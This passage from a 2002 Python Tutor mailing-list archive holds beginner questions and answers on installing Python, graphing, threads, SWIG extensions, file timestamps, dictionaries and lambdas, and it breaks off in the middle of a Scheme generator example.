LVdlc3QNClBhaXIgICAgUGN0ICAgU2NvcmUgIFJhbmsgICBNUHMgICAgIA0KICA1ICAgNTkuMzgg ICA5OS43NSAgIDEgICAgMC44MCAgICAgWnlnbXVudCBLdWJpc3p5biAtIFJ5c3phcmQgTGV3YW5k b3dza2kNCiAgNyAgIDU2Ljk1ICAgOTUuNjcgICAyICAgIDAuNTYgICAgIElyZW5hIEpha3Vib3dz a2EgLSBXb2pjaWVjaCBTYW1ib3INCiAgMSAgIDU0LjE3ICAgOTEuMDAgICAzICAgIDAuNDAgICAg IElyZW5ldXN6IEJhY3playAtIEZyZWQgU3pvYmxpaw0KICA4ICAgNTEuNzQgICA4Ni45MiAgICAg ICAgICAgICAgICAgSmFjZWsgQ3lwZXJsaW5nIC0gQW5kcnplaiBLb2xpbnNraQ0KICA2ICAgNDku NjUgICA4My40MiAgICAgICAgICAgICAgICAgS3J6eXN6dG9mIEtvd2Fsc2tpIC0gTWllY3p5c2xh dyBMYXNrb3dza2kNCiAgMyAgIDQ3LjIyICAgNzkuMzMgICAgICAgICAgICAgICAgIFJhZGVrIENo cmFiYWxvd3NraSAtIEJydW5vIFpkemllbmlja2kNCiAgNCAgIDQ1LjE0ICAgNzUuODMgICAgICAg ICAgICAgICAgIEJhcmJhcmEgRmlsaXBjenVrIC0gSmVyenkgSHJ5bmlld2llY2tpDQogIDIgICAz NS4wNyAgIDU4LjkyICAgICAgICAgICAgICAgICBXaWVzbGF3IFN6Y3plcmJvd3NraSAtIFpiaWdu aWV3IFppb2xrb3dza2kNCg== --0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E-- From scarblac@pino.selwerd.nl Mon Feb 4 14:34:36 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Mon, 4 Feb 2002 15:34:36 +0100 Subject: [Tutor] How do I get Python on Mac? In-Reply-To: ; from jimmy_130@lycos.com on Sun, Feb 03, 2002 at 07:43:59PM -0500 References: Message-ID: <20020204153436.C23859@pino.selwerd.nl> On 0, James M Lang wrote: > I've got an old Mac that I want to use. The problem is that it doesn't > have internet access. MacPython is too big to be put on floppy disk so how > can I split it up, put it on disks, and reassemble them on the Mac? And > another thing, what is this "hacking" I keep hearing about? Unfortunately I know nothing about Macs, so I can't help you there. "Hacking" is used with two meanings these days; one of them is breaking into computers and other software. It's illegal, and not a subject we discuss here. I call that "cracking". The other meaning is closer to "ad hoc programming". A program can be a quick hack for a one time use, a small but very flexible web browser is a neat hack, a real hacker of old has a beard, long hair, and will patch three operating systems running in his Emacs elisp system before ordering a Thai dinner that can't be beat. There is a popular FAQ that tries to tell people that hacking is not breaking into computers, that refers to Python as a good language to start with; it's at http://www.tuxedo.org/~esr/faqs/hacker-howto.html . That FAQ was written by opinionated hacker/gun nut Eric S. Raymond, who is also current editor of the Jargon File, a sort of hacker dictionary, fun to read, at http://www.tuxedo.org/~esr/jargon/html/index.html . He's also written many other things, both in prose and in code. Of course, when people come in here for help on hacking, we'll assume they belong to the right side of the Force, and just try to teach them about programming :-). -- Remco Gerlich From virketis@fas.harvard.edu Mon Feb 4 15:55:10 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Mon, 4 Feb 2002 10:55:10 -0500 Subject: [Tutor] graphing with Python Message-ID: <00ee01c1ad94$5644f790$18adf78c@virketis2> This is a multi-part message in MIME format. ------=_NextPart_000_00EB_01C1AD6A.6A4219A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear all, While working with Matlab on my school's server, I realised that most of = the numeric things I was doing could be accomplished handily with Pyhon = - for free, at home, and using my favourite language to boot. The only = lacking feature was graphing, which admitedly is very easy and seamless = in Matlab. I turned to google, and found out that many people had = actually solved that problem. Alas, if anything, it's too many, because = there is a dozen packages out there, while I have little time to check = out all of them and still want to use the best one for my purposes. :) = So, I would like to hear your recommendations for a graphing package for = Python. My own use is lightweight: mostly, I want to quickly plot out = the functions I encounter in my real analysis class for visualisation = and understanding. So I want something that is simple, interactive, and = can display in a window rather than outputing to a pdf or a tiff. I can = use Linux-based tools, but at this time Windows would be more useful = (can't print from Linux :( ).=20 Cheers,=20 Pijus ------=_NextPart_000_00EB_01C1AD6A.6A4219A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear all,
 
While working with Matlab on my = school's server, I=20 realised that most of the numeric things I was doing could be = accomplished=20 handily with Pyhon - for free, at home, and using my favourite = language to=20 boot. The only lacking feature was graphing, which admitedly is very = easy and=20 seamless in Matlab. I turned to google, and found out that many people = had=20 actually solved that problem. Alas, if anything, it's too many, because = there is=20 a dozen packages out there, while I have little time to check out all of = them=20 and still want to use the best one for my purposes. :) So, I would like = to hear=20 your recommendations for a graphing package for Python. My own use is=20 lightweight: mostly, I want to quickly plot out the functions I = encounter in my=20 real analysis class for visualisation and understanding. So I want = something=20 that is simple, interactive, and can display in a window rather = than=20 outputing to a pdf or a tiff. I can use Linux-based tools, but at = this time=20 Windows would be more useful (can't print from Linux :( ).
 
Cheers,
 
Pijus
------=_NextPart_000_00EB_01C1AD6A.6A4219A0-- From seedseven@home.nl Mon Feb 4 16:19:22 2002 From: seedseven@home.nl (ingo) Date: Mon, 04 Feb 2002 17:19:22 +0100 Subject: [Tutor] graphing with Python In-Reply-To: <00ee01c1ad94$5644f790$18adf78c@virketis2> References: <00ee01c1ad94$5644f790$18adf78c@virketis2> Message-ID: <200202041719220843.018A282C@mail> >So, I would like to hear your recommendations for a graphing package for Python. It may be overkill, but I prefer to do most visualisations with POV-Ray. Kirby Urner has some scripts on his site to connect the two. Ingo From urnerk@qwest.net Mon Feb 4 16:35:08 2002 From: urnerk@qwest.net (Kirby Urner) Date: Mon, 04 Feb 2002 08:35:08 -0800 Subject: [Tutor] What is missing? In-Reply-To: <20020204150943.B23859@pino.selwerd.nl> References: <3C5E0AD8.6010302@sympatico.ca> Message-ID: <4.2.0.58.20020204083208.00c88f00@pop3.norton.antivirus> At 03:09 PM 2/4/2002 +0100, Remco Gerlich wrote: >Closing them may look good and make your program a little more >robust, but isn't usually necessary in Python. The moment that >inFile refers to a new open file, the old file object is >destroyed, and closed. That also happens when the programs >finishes. Yeah, I recommend explicitly closing in most cases, and maybe also putting the close() in a finally block, with any problematic code under development in a try block. That way, you can debug in the shell without worrying whether a crash in the script has caused a file to be left open. People like me, who rarely execute scripts, but often open modules and use them as a grab bag to be executed in shell mode, especially need to close files explictly. Kirby From javier@jarava.com Mon Feb 4 11:04:37 2002 From: javier@jarava.com (Javier Jarava) Date: Mon, 4 Feb 2002 12:04:37 +0100 Subject: RV: RE: [Tutor] help? References: <001b01c1acb7$09ddad80$b6aa01d5@callum> <006a01c1acee$b1819ce0$0100a8c0@uno> Message-ID: <006001c1ad6b$bcf39330$931304d5@uno> Let's see if this time, it "catches on" the list :) Javier ----- Mensaje original ----- De: "Javier JJ" Para: Enviado: domingo, 03 de febrero de 2002 21:09 Asunto: RE: [Tutor] help? > The "problem" is not that DOS closes, but that the program finishes. It > _does_ print the answer you want and, having finished the program, it exits. > Then windows (I guess you're usign windows :) closes the program window - so > it looks like DOS closing. > > It'd be easier if you first, open a DOS window, and then you run the program > from that window. In that way, once the program it's finished, the window > will remain open, and you'll be able to see the results... > > Hope that helps.. > > Javier > > PS: In any case, it helps when you ask a question to tell a little about the > system you're using (operating system, etc :) > > JJ > > > ----- Mensaje original ----- > De: Callum Golding > Para: tutor@python.org > Enviado: domingo, 03 de febrero de 2002 14:31 > Asunto: [Tutor] help? > > > I'm sorry to bother you, but i was wondering if you could give me a little > advice. I've recently downloaded Python 2.2. Ive read a begginers guide to > programming and tried creating a small program, I used the input function. > Now as soon as I open the program it goes into dos and asks me the question, > and when i type in an anwser, dos shuts down. Now its really starting to bug > me. If you could give me some advice I would be real grateful. The program I > wrote is below; - > > > tempetature = input("What is the temperature of the spam?") > > if temperature > 50: > print "The salad is properly cooked" > else: > print "Cook the salad some more" > > Mat.G > > Cheers > From urnerk@qwest.net Mon Feb 4 18:27:40 2002 From: urnerk@qwest.net (Kirby Urner) Date: Mon, 04 Feb 2002 10:27:40 -0800 Subject: RV: RE: [Tutor] help? In-Reply-To: <006001c1ad6b$bcf39330$931304d5@uno> References: <001b01c1acb7$09ddad80$b6aa01d5@callum> <006a01c1acee$b1819ce0$0100a8c0@uno> Message-ID: <4.2.0.58.20020204101316.00b91a00@pop3.norton.antivirus> At 12:04 PM 2/4/2002 +0100, Javier Jarava wrote: >Let's see if this time, it "catches on" the list :) > > Javier I don't understand why a new user on Windows is using DOS. IDLE is the way to go for new users on a Windows box. I'd not recommend any tutorial which was highly DOS-oriented to begin with -- get to that in a later section, not right at the start. Also, I'd focus on having new users write functions in a module, then have them import the module in IDLE. In other words, better to encapsulate your raw_input loop in some def askmeloop(), than to have a lot of code which simply executes upon importing. I don't like .py which launch into their thing when I simply import 'em. I consider that I'll behaved -- I may not want to get involved in a raw_input loop just now. I prefer that modules use the if __name__ == "__main__": trick to treat the module as an executable script *only if* it's kicked off at the OS command line (or by file association, e.g. with bang notation if the OS supports it -- Windows doesn't). In other words, my preferred intro-to-Python curriculum would go: IDLE, Python as calculator (similar to included tutorial), import standard modules (e.g. math), write your own functions at the shell prompt, open text Window in IDLE, write a few functions and save as .py file, import .py file to use functions, mix with standard library. After all of the above, _then_ introduce running a script using (a) Ctrl-F5 in IDLE and (b) going to a DOS or X-term window and going > python script.py Then explain about sys.args and, finally, the __name__ == "__main__" thing. I might even do classes 'n objects (after functions), *before* getting into the script part. Kirby From jeff@ccvcorp.com Mon Feb 4 18:47:07 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Mon, 04 Feb 2002 10:47:07 -0800 Subject: [Tutor] [Q] about threads ...waiting :( References: Message-ID: <3C5ED72A.41B24D15@ccvcorp.com> > lonetwin wrote: > > Hi everybody, > I'm playing around with threads using python on linux. .... (snip) > Now, if a KeyboardInterrupt exception is raised during the execution of > doStuff(), how do I catch it, kill all the threads and exit the > application, probably printing "Aieee ....I got killed" on the way ?? Yes, but... ;) What's happening is that the KeyboardInterrupt is indeed interrupting whichever thread is active when it happens, but the other threads are all independent. You need some way of telling the other threads that there's been a problem, and they should close. Python doesn't have any way to kill a thread from outside, so you'll have to ask each thread to shut down on its own. Look into threading.event -- you'll want to create an event object, call it something like Interrupted, and then pass a reference to it into each thread as you create them. Then, in your KeyboardInterrupt, you'll want to Set() that event. Each thread will, at various places in its processing, look at that event, and if it's set, they'll know that they need to shut down. If you need any more pointers on how to use events, just let us know. Jeff Shannon Technician/Programmer Credit International From human500@hotmail.com Mon Feb 4 19:36:03 2002 From: human500@hotmail.com (Robert Weeks) Date: Mon, 04 Feb 2002 19:36:03 +0000 Subject: [Tutor] Help Me!! Message-ID:
I'm called Rob Weeks and i'm 32. I dont have a job but i want to get one as a game desinger. I dont know any thing about coding and i want to learn. I would go to uni but i can not aford it. If u could teach my to make small simple games or tell me were i could learn, i would be very pleased. Thank u.
Rob Weeks.


Chat with friends online, try MSN Messenger: Click Here
From human500@hotmail.com Mon Feb 4 19:37:57 2002 From: human500@hotmail.com (Robert Weeks) Date: Mon, 04 Feb 2002 19:37:57 +0000 Subject: [Tutor] Help Me!! Message-ID:
I'm called Rob Weeks and i'm 32. I dont have a job but i want to get one as a game desinger. I dont know any thing about coding and i want to learn. I would go to uni but i can not aford it. If u could teach my to make small simple games or tell me were i could learn, i would be very pleased. Thank u.
Rob Weeks.


Send and receive Hotmail on your mobile device: Click Here
From garber@centralcatholic.org Mon Feb 4 19:40:40 2002 From: garber@centralcatholic.org (Robert Garber) Date: Mon, 4 Feb 2002 14:40:40 -0500 Subject: [Tutor] NEWBIE looking for help Message-ID: <200202041440.AA18350682@centralcatholic.org> I am very new to programing and am hoping that Python is the place to start. My question is this: I am a football coach who is very unhappy with some of the software available to use in scouting and keeping stats. I am certian a program of this nature will need to be set up as some type of database that is searchable ( by formation, field position, player number/position, down and distance, etc...) is Python the language to start with? I have purchased the Sams "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to program book". I have also downloaded every tutorial I can find on python. I am enjoying the learning experince and hope that Python is the language to open a whole new world for me. Thans for any help, Robert From srogers@itsa.ucsf.edu Mon Feb 4 21:35:16 2002 From: srogers@itsa.ucsf.edu (Steve Rogers) Date: Mon, 04 Feb 2002 13:35:16 -0800 Subject: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs In-Reply-To: Message-ID: > > Message: 1 > Date: Mon, 04 Feb 2002 17:19:22 +0100 > From: "ingo" > To: tutor@python.org > Subject: Re: [Tutor] graphing with Python > >> So, I would like to hear your recommendations for a graphing package > for Python. > > It may be overkill, but I prefer to do most visualisations with > POV-Ray. Kirby Urner has some scripts on his site to connect the two. > > Ingo hi ingo, could you give us the url? thanks. steve __________________________________________________________ Stephen Rogers Howard Hughes Medical Institute & Dept. of Cellular and Molecular Pharmacology 1001 Health Sciences East, Box 0450 513 Parnassus Avenue University of California, San Francisco San Francisco, CA 94143 tel: (415) 476-8712 fax: (415) 476-5233 email: srogers@itsa.ucsf.edu http://valelab.ucsf.edu From wsf@fultondesigns.co.uk Mon Feb 4 20:04:19 2002 From: wsf@fultondesigns.co.uk (William S Fulton) Date: Mon, 4 Feb 2002 20:04:19 -0000 Subject: [Tutor] Re: [Swig] C++ Extension Problems (Part1) References: <3C5D65BD.7060800@gmx.de> Message-ID: <004d01c1adb7$292fbf60$0b00a8c0@leopard> Marcus, I got this to work, but had to set up a release build first as the debug build wanted a debug library (python21_d.lib) which isn't distributed, not with my Python anyway. I just had to set the $(PYTHON_LIB) and $(PYTHON_INCLUDE) paths in the release build for the DLL to be built. Also in your test script file, simannealfile.py, use: instance1=simannealfile.new_simulated_annealing and not instance1=simannealfile.simulated_annealing as you didn't pass swig -shadow on the commandline. Also make sure that the produced dll is in the same directory as the python script you are running or put it in the path, or setup Visual C++ to output the dll to the same directory as all your .py script files (Use link tab - output file name in the build settings). Hope that gets you going. Regards William ----- Original Message ----- From: Keule To: SWIG ; Tutor Sent: Sunday, February 03, 2002 4:30 PM Subject: [Swig] C++ Extension Problems (Part1) Hi @ ALL ! I´ve created a .dll file with SWIG under windows. Now i want to use it and try to import it into the simannealfile.py modul, but pythonwin always gives the following error: File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in ImportFile exec codeObj in __main__.__dict__ File "", line 1, in ? ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py" , line 2, in ? import simannealfile ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. I checked out the examples ,delivered with SWIG, and compared them with my Settings under Visual C++. The Examples are all functioned and now i absolutly did´nt know whats going wrong and why i always get the Errormessage above. I ´ve put my files with these mail. Perhaps anyone of you could check my settings an can give me an advice what´s going wrong. Thanks a lot Greetings Marcus From dyoo@hkn.eecs.berkeley.edu Mon Feb 4 23:28:24 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 15:28:24 -0800 (PST) Subject: [Tutor] Help Me!! In-Reply-To: Message-ID: On Mon, 4 Feb 2002, Robert Weeks wrote: > I'm called Rob Weeks and i'm 32. I dont have a job but i want to get > one as a game desinger. I dont know any thing about coding and i want > to learn. I would go to uni but i can not aford it. If u could teach > my to make small simple games or tell me were i could learn, i would > be very pleased. Hi Robert, Sure, we'd be happy to point you toward some useful resources. If you haven't learned a programming language yet, you'll probably want to look at the resources for new programmers first: http://python.org/doc/Newbies.html There are tutorials there that will help you get familiar with the idea of programming, and they're all pretty good. Many authors of those tutorials are frequent posters to Tutor as well, so you can easily ask them when the tutorials get confusing. *grin* As you're experimenting with Python, you can take a look at some example programs at the Useless Python website: http://www.lowerstandard.com/python/ to see how these programming ideas are applied in real programs! The programs at Useless Python have been contributed by people on Tutor, so we're pretty familiar with them. Sooner or later, when you learn enough Python, you can play around with some game-specific Python modules, like pygame: http://pygame.org which is an extension for Python that supports writing video games in Python. If you have any questions, please feel free to ask here on Tutor; we'll be happy to chat about programming. From overlord@netdoor.com Mon Feb 4 23:41:37 2002 From: overlord@netdoor.com (Jim Ragsdale) Date: Mon, 4 Feb 2002 17:41:37 -0600 Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file Message-ID: <013d01c1add5$7cf0ce00$8cd91282@echo6> I have looked around and have not found a way (that I could understand) to read the creation date of a file. Does anyone know how to do it? Not necessary but cross platform would be nice. win32 is the target. Another question: I am using xreadlines. How do I start reading at a specified line in a file? Thanks for the help! Jim Ragsdale From lha2@columbia.edu Tue Feb 5 00:05:10 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Mon, 04 Feb 2002 19:05:10 -0500 Subject: [Tutor] How do I get Python on Mac? References: Message-ID: <3C5F21B6.9761372E@mail.verizon.net> James M Lang wrote: > > I've got an old Mac that I want to use. The problem is that it doesn't have internet access. MacPython is too big to be put on floppy disk so how can I split it up, put it on disks, and reassemble them on the Mac? And another thing, what is this "hacking" I keep hearing about? > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor Back before I turned to the dark side (November 1997), I was a Mac person; at that time, Alladin's Stuffit was the most common solution to that problem. If you have an old mac running an old system, you might try searching for "stuffit 1.5.1"; I'm not 100% on what sort of license old stuffits have/had (I seem to recall them being shareware, but wouldn't bet money on that). Also, I'm not sure what version of Python you will be able to use--how old is an "old mac"? Is it a 68000 (ie, are you probably s.o.l.?)? 68040? PPC? Back in the day, when we needed to get something from one mac to another, we'd hook up a printer cable between the two and enable file sharing on one of them. What sort of machine do you have that has internet access? One of these days I'll get around to getting that Mac+ (maxed out at 4 megs) up and running again...I think I still have a copy of NCSA Mosaic somewhere... From lha2@columbia.edu Tue Feb 5 00:29:33 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Mon, 04 Feb 2002 19:29:33 -0500 Subject: [Tutor] NEWBIE looking for help References: <200202041440.AA18350682@centralcatholic.org> Message-ID: <3C5F276D.57ACFF32@mail.verizon.net> Robert Garber wrote: > > I am very new to programing and am hoping that Python is the place to start. My question is this: I am a football coach who is very unhappy with some of the software available to use in scouting and keeping stats. I am certian a program of this nature will need to be set up as some type of database that is searchable ( by formation, field position, player number/position, down and distance, etc...) is Python the language to start with? I have purchased the Sams "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to program book". I have also downloaded every tutorial I can find on python. I am enjoying the learning experince and hope that Python is the language to open a whole new world for me. > Thans for any help, > Robert > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor Python will be an excellent language for that project. I did something like that back in high school (no longer have the code, I don't think)* in Pascal; when I did that, the sorting routines (which were the core of generating the scouting reports--I recall it being used 60% for predicting play based on formation, and about 30% being whether the ball was going to go to the strong or weak side based on formation) took up a good 1/3 of the program. In Python, if you want to sort a list, you use a command along the lines of mylist.sort() . Much less code to wade through. Good luck. *Just found the 800k disk that has the Pascal source code (I think--I hope it doesn't just have the compiled application). Now to find computer with a drive that can still read 800k disks... From dyoo@hkn.eecs.berkeley.edu Tue Feb 5 02:24:22 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 18:24:22 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] In-Reply-To: <001701c1ad3f$aa736a40$3100a8c0@sun> Message-ID: > > > list container. In that case, we can use a more appropriate data > > > structure, the dictionary: > > > > > > ### > > > >>> people_dict = {} > > > >>> for n in names: > > > ... people_dict[n] = Person(n) > > > ... > > > >>> people_dict['lisa'].sing() > > > tra la la, my name is lisa > > > ### > > > > Again, the syntax is a little different than what I'm used to. I've > > always never seen a dictionary done like this. Is it a case where the > > syntax is different since its being added to a list? > > How have you seen dictionaries used? Like following? > some_dictionary={"predefined_1":"ning","predefined_2":"nang","predefined_3": > "nong"} Let's talk a little bit more about why the code above is using a for loop to construct the dictionary. Let's look at that fragment again: ### people_dict = {} for n in names: people_dict[n] = Person(n) ### What this is saying is "We'll make a variable called 'people_dict' that is initially assigned to an empty dictionary. Next, we'll go through each name in our names list, and add an entry to that dictionary'. There's a reason why we can't simply initialize people_dict directly: ### people_dict = { 'marge' : Person('marge'), 'lisa' : Person('lisa'), 'bart' : Person('bart'), 'homer' : Person('homer'), } ### ... but we might not know in advance which people we want to create! It's true that the source of names can be hardcoded, like this: ### names = ['marge', 'homer', 'bart', 'lisa'] ### But perhaps we might read it from a flat file, ### # We can do something like this in one script: f = open("simpson_names.txt", "w") while 1: print "Enter the names of simpson family character. Just press" print "the ENTER key to finish." name = raw_input() f.write(name) f.write("\n") if name == "\n": break # ... and bring the Simpsons to life in another # program: names = map(string.strip, open("simpson_names.txt").read().split()) ### or even from a database! ### conn = MySQLdb.connect(db='tv_families') cursor = conn.cursor() cursor.execute("select name from people where family='simpsons'") names = map(lambda x: x[0], cursor.fetchall()) ### (I'm just making this example up, but if we did have a tv_families database, this should work... *grin*) In any case, we're not anticipating what 'names' looks like, which is why we do the insertions on an initially empty dictionary. By doing so, we're girding ourselves to populate our world with as many Simpsons as we desire. Now that's a whimsical thought. *grin* If you have questions on this, please feel free to ask. From dyoo@hkn.eecs.berkeley.edu Tue Feb 5 02:37:23 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 18:37:23 -0800 (PST) Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file In-Reply-To: <013d01c1add5$7cf0ce00$8cd91282@echo6> Message-ID: On Mon, 4 Feb 2002, Jim Ragsdale wrote: > I have looked around and have not found a way (that I could > understand) to read the creation date of a file. Does anyone know how > to do it? Not necessary but cross platform would be nice. win32 is the > target. There are actually two functions in os.path called getatime() and getmtime, respectively for "access" and "modification" times: http://www.python.org/doc/lib/module-os.path.html os.path.getmtime() is probably what you're looking for: ### >>> os.path.getmtime('/var/mail/dyoo') 1012873750 >>> from time import localtime >>> localtime(os.path.getmtime('/var/mail/dyoo')) (2002, 2, 4, 17, 49, 10, 0, 35, 0) ### I'm not sure if the system maintains a "creation" time flag, as it's sorta arguable that modification is similar to creation. Perhaps someone else may be able to find out about this? > Another question: I am using xreadlines. How do I start reading at a > specified line in a file? xreadlines() might not be an appropriate function because it assumes you want to read through the file sequentially, one line at a time. If we suck up the whole file as a list of lines by using readlines(), we can grab any line by doing an array index, so readlines() is probably a better choice. I've written a quicky RandomFile class that I think might be more memory-efficient if you're concerned about memory usage: http://aspn.activestate.com/ASPN/Mail/Message/989629 Good luck to you! From dyoo@hkn.eecs.berkeley.edu Tue Feb 5 03:03:16 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 19:03:16 -0800 (PST) Subject: [Tutor] NEWBIE looking for help In-Reply-To: <200202041440.AA18350682@centralcatholic.org> Message-ID: On Mon, 4 Feb 2002, Robert Garber wrote: > I am very new to programing and am hoping that Python is the place to > start. My question is this: I am a football coach who is very unhappy > with some of the software available to use in scouting and keeping > stats. I am certian a program of this nature will need to be set up as > some type of database that is searchable ( by formation, field > position, player number/position, down and distance, etc...) Hi Robert, You might be able to do a lot with Python combined with a SQL relational database. It might be good to invest some time looking at SQL. Here are some links that may help explain what SQL is about: http://www.arsdigita.com/books/sql/ http://www.devshed.com/Server_Side/MySQL/Intro/page1.html http://mysql.com/ A relational database is a fairly flexible medium for saving and querying data. You can learn it independently of Python, and it's not too hard to coax a relational database to do basic bread-and-butter stuff. > is Python the language to start with? I have purchased the Sams > "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to > program book". I have also downloaded every tutorial I can find on > python. I am enjoying the learning experince and hope that Python is > the language to open a whole new world for me. Thans for any help, Cool! Glad to hear you're enjoying things. It must be said that this is "Python-Tutor" --- you may not get an unbiased answer here. *grin* Yes, I think it's a good language to learn and use. It has a fairly nice syntax that tries not to get in the way of learning. It's nice because you can do a lot of casual programming with it, yet it's powerful enough to handle things like web serving and scientific applications. Most importantly, it has a great community behind it! *grin* There's more cheerleader-style advocacy here: http://www.linuxjournal.com/article.php?sid=3882 Try Python out; it's free, and you can always ask questions here. We'll do our best to answer your questions well. Ah, by the way, here's a link that has another good source of tutorials: http://python.org/doc/Newbies.html For the sake of completeness, I should mention: there's another powerful programming language called Perl, and it too has a strong user community behind it. If you're interested, take a look at: http://learn.perl.org/ for more information. I wouldn't say that Perl is for beginners --- Perl code can have a really cryptic syntax, and I think it forces the user to carry too much mental baggage. Still, it's a very popular alternative, and it's good to know what choices you have. Good luck to you! From erikprice@mac.com Tue Feb 5 03:15:41 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 4 Feb 2002 22:15:41 -0500 Subject: [Tutor] Newbie In-Reply-To: <000001c1ac7f$08380e40$5b582144@aberdn01.md.comcast.net> Message-ID: On Sunday, February 3, 2002, at 01:50 AM, Randy Talbot wrote: > And the > book that I like the best for learning python so far is "The Quick > Python Book" by Daryl Harms, even though it is written for people who > have experience programming in another language. I think this book is pretty amazing. Here's why: There are lots of great tutorials for Python and general programming on the internet, I've found, two of them being http://www.freenetpages.co.uk/hp/alan.gauld/ and http://www.devshed.com/Server_Side/Python/Python101/Python101_1/page1.html Once you've gone through one of these, you should know enough to get the most out of the Quick Python book. And the QP book is impressive for having been written as a "readable" reference book, so that you can read it and get a lot out of it and then you can use it to refer back later when you need a clarification. We all know computer books cost between $30 and $50 (in the US). This is big bucks for some of us. The Quick Python Book, at $40, is a great book in my opinion in how much mileage you can get out of it. And I'm still just learning too! Erik From greg.guest@3web.net Tue Feb 5 02:28:42 2002 From: greg.guest@3web.net (Greg Guest) Date: Mon, 4 Feb 2002 21:28:42 -0500 Subject: [Tutor] Lambda Message-ID: <00a901c1adf4$e8b53620$2bb4acce@hppav> This is a multi-part message in MIME format. ------=_NextPart_000_0040_01C1ADC2.EB696C60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everyone, Emboldened by Jeff Shannon's remark of a couple of weeks ago that he = finds lambdas counterintuitive, I ask my first question to the tutor. I not only find them counterintuitive, but can't even figure out what = they do in a line of code. I would be grateful if someone could = translate a line using lambda into one that doesn't. =20 I've been reading the tutor for a couple of months now, and find it a = wonderful place. The threads on Classes have helped me a lot. TIA Greg Guest A Palindrome: Straw? No, too stupid a fad. I put soot on warts. __________________________________________________________ Get Premium UNLIMITED Internet Access across CANADA for JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123 ------=_NextPart_000_0040_01C1ADC2.EB696C60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi everyone,
 
Emboldened by Jeff Shannon's remark of = a couple of=20 weeks ago that he finds lambdas counterintuitive, I ask my first = question to the=20 tutor.
 
I not only find them counterintuitive, = but can't=20 even figure out what they do in a line of code.  I would be = grateful if=20 someone could translate a line using lambda into one that doesn't.  =
 
I've been reading the tutor for a = couple of months=20 now, and find it a wonderful place.  The threads on Classes have = helped me=20 a lot.
 
TIA
Greg Guest
 
A Palindrome:
Straw? No, too stupid a fad.  I = put soot on=20 warts.



____________________________________________________________
Get Premium UNLIMITED Internet Access across Canada for
JUST $9.95/MONTH at http://www.get3web.com/?mkid=3Demt123
------=_NextPart_000_0040_01C1ADC2.EB696C60-- From dyoo@hkn.eecs.berkeley.edu Tue Feb 5 05:36:49 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 4 Feb 2002 21:36:49 -0800 (PST) Subject: [Tutor] Experiments with generators, part deux [flattened lists, Scheme, and Python] Message-ID: [Warning: the following is experimental code that only works with Python 2.2. This code below is meant to be completely Useless. However, it's also not guaranteed to be quickly understandable. Skip this message if you don't know about Scheme.] Hi Everyone, I've been having some fun recently trying to bend my head around the concept of continuations in Scheme, using the Scheme book "Teach Yourself Scheme in Fixnum Days": http://www.ccs.neu.edu/home/dorai/t-y-scheme/t-y-scheme-Z-H-15.html#%25_sec_13.3 One of the examples that the author uses to present continuations is the following problem: given two deeply nested lists, can we write an efficient method to easily see if they have the same elements --- that is, how can we tell if the two lists have the same "fringe"? For example, we'd say that "[1, [2, [3]]]" and "[[[1]], [[2], 3]]" would have the same fringe, but "[1, [2, [3]]]" and "[[[1]], [[], 3]]" would not. One simple way to do this fringe-check is to flatten both lists, and then just do a single list comparison: ### >>> def flatten(L): ... if type(L) != types.ListType: return [L] ... if len(L) == 0: return [] ... return flatten(L[0]) + flatten(L[1:]) ... >>> flatten([1, [2, [3]]]) [1, 2, 3] >>> flatten([1, [2, [3]]]) == flatten([[[1]], [[2], 3]]) 1 >>> flatten([1, [2, [3]]]) == flatten([[[1]], [[], 3]]) 0 ### However, one disadvantage of this is that we end up making duplicate copies of our lists in memory. For huge lists, flatten()ing can be prohibitively expensive. What can we do? One solution that avoids the explicit list flattening is to write a "generator" that automagically presents a flattened view of a list. For those who like sticking their hands in door jams, here's the code in Scheme: ;;; (define tree->generator (lambda (tree) (let ((caller '*)) (letrec ((generate-leaves (lambda () (let loop ((tree tree)) (cond ((null? tree) 'skip) ((pair? tree) (loop (car tree)) (loop (cdr tree))) (else (call/cc (lambda (rest-of-tree) (set! generate-leaves (lambda () (rest-of-tree 'resume))) (caller tree)))))) (caller '())))) (lambda () (call/cc (lambda (k) (set! caller k) (generate-leaves)))))))) ;;; There's a lot of tricky lexical scoping issues involved here, and I thought this just looked both paradoxically beautiful yet hideous. (I did rewrite tree->generator to tease out some of the complexity into separate functions, with some success. If anyone's interested, email me.) In any case, let's see how this works: ### > (define g (tree->generator 